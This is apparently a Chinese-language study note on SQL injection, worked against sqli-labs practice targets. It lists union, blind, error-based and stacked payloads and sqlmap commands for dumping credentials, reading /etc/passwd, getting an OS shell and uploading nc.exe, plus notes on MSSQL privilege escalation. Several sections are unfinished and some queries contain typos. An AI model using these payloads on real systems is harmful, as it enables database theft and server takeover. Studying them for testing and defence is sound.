web安全之SQL注入漏洞
基本知识
原理:用户能控制输入的内容;Web应用把用户输入的内容带入到数据库中执行。
分类:依据注入点参数类型分类:数字型注入、字符型注入、搜索型注入
依据获取信息的方式分类:union注入、布尔盲注、时间盲注、报错注入、堆叠查询注入
依据请求方式分类:GET注入、POST注入、Cookie注入、HTTP头注入(XFF注入、UA注入、Reference注入)
依据DBMS分类:Access、MSSQL、Oracle、MySQL
位置:参数点、登陆框、搜索框
核心语法:
select schema_name from information_schema.schemata(查库)
select table_name from information_schema.tables where table_schema=库名(查表)
select column_name from information_schema.colums where table_name=表名(查列)
select 列名 from 库名.表名(查数据)
1.union注入 【sqli-labs靶场的第1-4关】
目的 脚本
0.判断是否存在注入点 添加单引号' 双引号" 单括号) 双括号))看看是否报错,报错说明可能存在
添加 and 1=1 和 and 1=2 看看显示页面是否一致,不一致说明可能存在
1.判断数字型or字符型,字符型需要注释。 单引号'报错且双引号"正常 为字符型
and 1=1 正常且 and 1=2 报错 为数值型
加引号报错=数值型;加引号正常=字符型
做减法运算,可运算为数值型;
2.判断前个查询语句的列数 order by 8 --+
3.判断回显点 ?id=-1 union select 1,2,3 --+
4.查库名 ?id=-1 union select 1,database(),3 --+
5.查表名 ?id=-3 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 --+
6.查列名 ?id=-3 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' ),3 --+
7.查字段 ?id=-3 union select 1,(select group_concat(id,0x7e,username,'~',password) from security.users),3 --+
2.盲注
原理:SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。
常用函数:
函数 描述
left(字符串,截取长度) 从左边截取指定长度的字符串
length(字符串) 获取字符串的长度
ascii(字符串) 将指定字符串进行ascii编码
substr(字符串,start,截取长度) 截取字符串,可以指定起始位置和长度
mid(字符串,start,截取长度) 截取字符串,可以指定起始位置和长度
count() 计算总数,返回匹配条件的行数。
sleep(n) 将程序挂起n秒
if(参数1,参数2,参数3) 参数1为条件,当参数1返回的结果为true时,执行参数2,否则执行参数3
手工盲注步骤:
1.判断是否存在注入,注入是字符型还是数字型
2.猜解当前数据库名
3.猜解数据库中的表名
4.猜解表中的字段名
5.猜解数据
2.1 布尔盲注
- 页面上没有显示位
- 并且没有输出SQL语句执行错误信息
- 只能通过页面返回正常与不正常判断,即布尔值True or False
手工进行布尔盲注:
http://192.168.8.146/sqli/Less-8/?id=1' and ascii(substr(database(),{},1))>{} --
sqlmap进行布尔盲注:
#查询数据库 #【security】
python sqlmap.py -u http://192.168.8.146/sqli/Less-8/?id=1 --technique B --dbs --batch --threads 10
#获取数据库中的表 #【emails、referers、uagents、users】
python sqlmap.py -u http://192.168.8.146/sqli/Less-8/?id=1 --technique B -D security --tables --batch --threads 10
#获取表中的字段名 #【id、username、password】
python sqlmap.py -u http://192.168.8.146/sqli/Less-8/?id=1 --technique B -D security -T users --columns --batch --threads 10
#获取字段信息 #【Dumb|Dumb、dhakkan|dumbo ...】
python sqlmap.py -u http://192.168.8.146/sqli/Less-8/?id=1 --technique B -D security -T users -C username,password --dump --batch --threads 10
2.2 时间盲注
- 页面上没有显示位
- 也没有SQL语句执行报错信息
- 页面无任何异常,正确的sql语句和错误的sql语句页面返回一致
- 只能使用sleep()函数进行判断
手工进行时间盲注:
http://192.168.8.146/sqli/Less-9/?id=4 ' and sleep(1) --+
http://192.168.8.146/sqli/Less-9/?id=4 ' and if(ascii(substr(database(),1,1))>1,sleep(1),0) --+
sqlmap进行时间盲注:
#查询数据库 #【security】
python sqlmap.py -u http://192.168.8.146/sqli/Less-9/?id=4 --technique T --dbs --batch --threads 10
#获取数据库中的表 #【emails、referers、uagents、users】
python sqlmap.py -u http://192.168.8.146/sqli/Less-9/?id=4 --technique T -D security --tables --batch --threads 10
#获取表中的字段名 #【id、username、password】
python sqlmap.py -u http://192.168.8.146/sqli/Less-9/?id=4 --technique T -D security -T users --columns --batch --threads 10
#获取字段信息 【Dumb|Dumb、dhakkan|dumbo ...】
python sqlmap.py -u http://192.168.8.146/sqli/Less-9/?id=4 --technique T -D security -T users -C username,password --dump --batch --threads 10
2.3 DNSlog盲注(外带)
什么是DNS
DNS的全称是 Domain Name System(域名系统),它将域名解析为 IP,使人更方便地访问互联网。当用户输入某一网址如www.baidu.com,网络上的 DNS 服务器会将该域名解析,并找到对应的真实IP:182.61.200.6,使用户可以访问这台服务器上相应的服务。
什么是DNSlog
DNSlog 就是存储在 DNS 服务器上的域名信息,它记录着用户对域名的访问信息,类似日志文件。SQL 盲注、命令执行、SSRF 及 XSS 等攻击而无法看到回显结果时,就会用到 DNSlog 技术。
为什么用Dnslog盲注
对于SQL盲注,我们可以通过布尔或者时间盲注获取内容,但是整个过程效率低,需要发送很多的请求进行判断,容易触发安全设备的防护,最后导致 IP 被 ban,Dnslog 盲注可以减少发送的请求,直接回显数据实现注入。
利用的前提条件:
- MySQL支持load_file()函数,通过执行 show variables like '%secure%'; 查看 load_file() 是否可以读取文件。
- 由于使用的是Windows的UNC路径特性,因此不支持Linux平台。只支持Windows平台。
- 拥有DNSlog地址,可使用以下DNSlog平台:http://ceye.io 或 http://www.dnslog.cn
3.报错注入
原理:报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。
3.1 floor报错注入
原理:双查询报错/floor报错注入是由于rand(),count(),group by ,floor四个语句联合使用造成的,缺一不可。
待更...
3.2 extractvalue()报错注入
利用xpath语法错误来进行报错注入。主要利用extractvalue
和updatexml
两个函数。
待更...
3.3 updatexml()报错注入 【sqli-labs靶场的第5,6关】
【Less-5】GET-Double Injection-Single Quotes-String——双注入单引号
?id=-1' and updatexml(1,concat(0x7e,database(),0x7e),1)--+
【Less-6】GET-Double Injection-Double Quotes-String——双注入双引号
?id=1" and updatexml(1,concat(0x7e,database(),0x7e),1)--+
待更...
4.宽字节注入
待更...
5.堆叠注入
原理:在SQL中,分号(;)是用来表示一条SQL语句的结束。试想一下我们在分号(;)结束后一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。
用户输入:1; DELETE FROM products
服务器端生成的sql语句为:select * from products where productid=1;DELETE FROM products
当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。
6.HTTP head注入
原理:有些时候,后台开发人员为了验证客户端头信息(比如常用的cookie验证)或者通过HTTP header头信息获取客户端的一些资料,比如User-Agent、Accept字段等的时候,会对客户端的HTTP header信息进行获取并使用SQL进行处理,如果此时没有足够的安全考虑则可能会导致基于HTTP header的SQL Inject漏洞。
6.1 Cookie注入
原理:通过修改Cookie的值进行注入,Cookie注入跟普通sql注入过程一样。
sqlmap进行Cookie注入:
python sqlmap.py -u "http://xxx.com" --cookie "id=1" --dbs --level 2
6.2 User-Agent注入
待更...
6.3 XFF注入
待更...
7.二次编码注入
待更...
8.读写文件
读取文件
函数:load_file(file_name)读取文件并返回该文件内容作为一个字符串。
前提:
必须有权限读取并且文件必须完全可读
必须指定文件完整路径
能够使用union查询(sql注入时)
对Web目录有写权限用户必须有secure_file_priv=文件权限
欲读取文件必须小于max_allowed_packetde的允许值
sqlmap读取文件:
python sqlmap.py -u "http://xxx/x?id=1" --file-read=/etc/passwd
注:若mysql<5.0:可利用sqlmap的sql-shell读取文件。
写入文件(比如一句话木马)
函数:into outfile()
sqlmap写入文件:
待更...
9.其它DBMS注入
Access
默认后缀:.mdb
目的 脚本 判断
判断是否为access数据库 and exists (select * from msysobjects)>0 根据返回的报错信息确认
判断是否存在admin表 and exists (select * from admin) 未报错说明存在admin表
判断是否存在admin列 and exists (select admin from admin) 未报错说明存在admin列
判断是否存在password列 and exists (select admin from admin) 未报错说明存在password列
MSSQL
默认端口:1433
工具:啊D、Pangolin
策略:小权限:文件管理---差异备份---写入小马 sa权限:执行cmdshell命令——提权、开3389
目的 脚本 判断
判断是否为mssql and user>0 根据返回的报错信息确认
and exists (select * from sysobjects)>0
获取表users的数据 and 1=(select top 1 uname from users)
and 1=(select top 1 upass from users)
Oracle
默认端口:1521
目的 脚本 判断
猜表名 and (select count(*) from admin) <>0 返回正常则admin表存在
猜列名 and (select count(user) from admin) <>0 返回正常则user列存在,继续猜pwd列是否存在
猜账户的长度 and (select count(*) from admin where length(name)>=5)=1 返回正常即账户长度为5
猜账户(通过ASII码) and (select count(*) from admin where ascii(substr(name,1,1))>=97) =1
猜密码的长度 and (select count(*) from admin where lengh(pwd)>=8)=1 返回正常即密码长度为8,判断密码为明文
猜密码(通过ASII码) and (select count(*) from admin where ascii(substr(pwd,1,1))>=97) =1
*其它未归档
get注入 id后的常规注入
post注入(登录框注入) sqlmap.py -u "登录页面url" --data "tfUPass=111&UName=111" --dbs -D-T-C--dump
cookie注入(可绕过拦截) 使用Pangolin或注入中转器绕过拦截后,进行get注入。
搜索型注入 bp抓包保存至1.txt(存在keyword关键字);sqlmp.py -r 1.txt --tables
base64注入
伪静态注入: 修改页面成.php?id=89
Sqlmap
简介:开源、功能强大的python编写的sql漏洞检测和利用工具。涵盖几乎大部分注入类型和数据库类型。
功能模块:Target、Request、Optimization、Injection、Detection、Fingerprint、Enumeration、FS-access、OS-access、Win-registry、General、Miscellaneous。
攻击流程:判断数据库类型和版本——爆库、爆用户——指定D/T/C爆数据。
基础用法
语法:sqlmap -u "注入点url" 选项
--users 获取所有用户
--current-user 获取当前用户
--dbs 获取所有库
--current-db 获取当前库
--D“库名” --tables 获取某库中的所有表
--D“库名” --T“表名”--columns 获取某库某表中的所有列
--D“库名” --T“表名”--C“列名,列名”--dump 获取某库某表某列中的值
--batch 自动化完成
--dump 下载数据
-h 查看帮助选项
-r 请求包.txt 指定post请求包
-m 目标地址.txt 批量指定目标地址
--is-dba 当前用户权限??
-p 参数名 指定可能含有注入的参数点以便节约时间
--cookie="cookie值"【cookie-有期限的账户密码摘要值】
进阶用法
#探测等级和危险等级(-level -risk)
level有5个等级,默认等级为1,进行Cookie测试时使用--level 2 ,进行use-agent或refer测试时使用--level 3 ,进行 host 测试时使用--level 5
--level=3 设定运行级别
--risk=3 设定风险值
#伪造 Http Referer头部
#执行指定的SQL语句(--sql-shell)
sqlmap.py -u "http://192.168.8.131/sqli/Less-3/?id=5" --sql-shell
#执行操作系统命令(--os-shell)
sqlmap.py -u "http://192.168.8.131/sqli/Less-3/?id=5" --os-shell
which web application language does the web server support?
[1] ASP (default)
[2] ASPX
[3] JSP
[4] PHP
> 4
what do you want to use for writable directory?
[1] common location(s) ('C:/xampp/htdocs/, C:/wamp/www/, C:/Inetpub/wwwroot/') (default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search
> 2
please provide a comma separate list of absolute directory paths: C:\WWW
os-shell> ipconfig
do you want to retrieve the command standard output? [Y/n/a] y
command standard output:
Windows IP 配置
以太网适配器 本地连接:
连接特定的 DNS 后缀 . . . . . . . : localdomain
本地链接 IPv6 地址. . . . . . . . : fe80::30a3:89d4:fd2a:1f7e
IPv4 地址 . . . . . . . . . . . . : 192.168.8.131
子网掩码 . . . . . . . . . . . . : 255.255.255.0
默认网关. . . . . . . . . . . . . : 192.168.8.2
#读取服务器文件(-file-read)
sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther" --file-read "C:/example.exe"
#上传文件到数据库服务器中(-file-write -file-dest)
sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write "/software/nc.exe" --file-dest "C:/WINDOWS/Temp/nc.exe"
#绕过waf
--tamper=脚本名 可以指定tamper目录的脚本尝试绕过
*sql注入参考资料:
https://blog.csdn.net/dreamthe/article/details/123795302
https://blog.csdn.net/weixin_45588247/article/details/107701820?spm=1001.2101.3001.6650.2&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-2-107701820-blog-126857683.235%5Ev32%5Epc_relevant_default_base3&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-2-107701820-blog-126857683.235%5Ev32%5Epc_relevant_default_base3&utm_relevant_index=3
https://www.cnblogs.com/cscshi/p/15705030.html#133-%E8%AF%B7%E6%B1%82
https://www.cnblogs.com/sunny11/p/14402679.html
https://www.freebuf.com/articles/web/271863.html
https://www.cnblogs.com/-qing-/p/11610385.html
https://blog.csdn.net/qq_25094483/article/details/109242613
https://blog.csdn.net/qq_25094483/article/details/109242613
https://jwt1399.top/posts/32179.html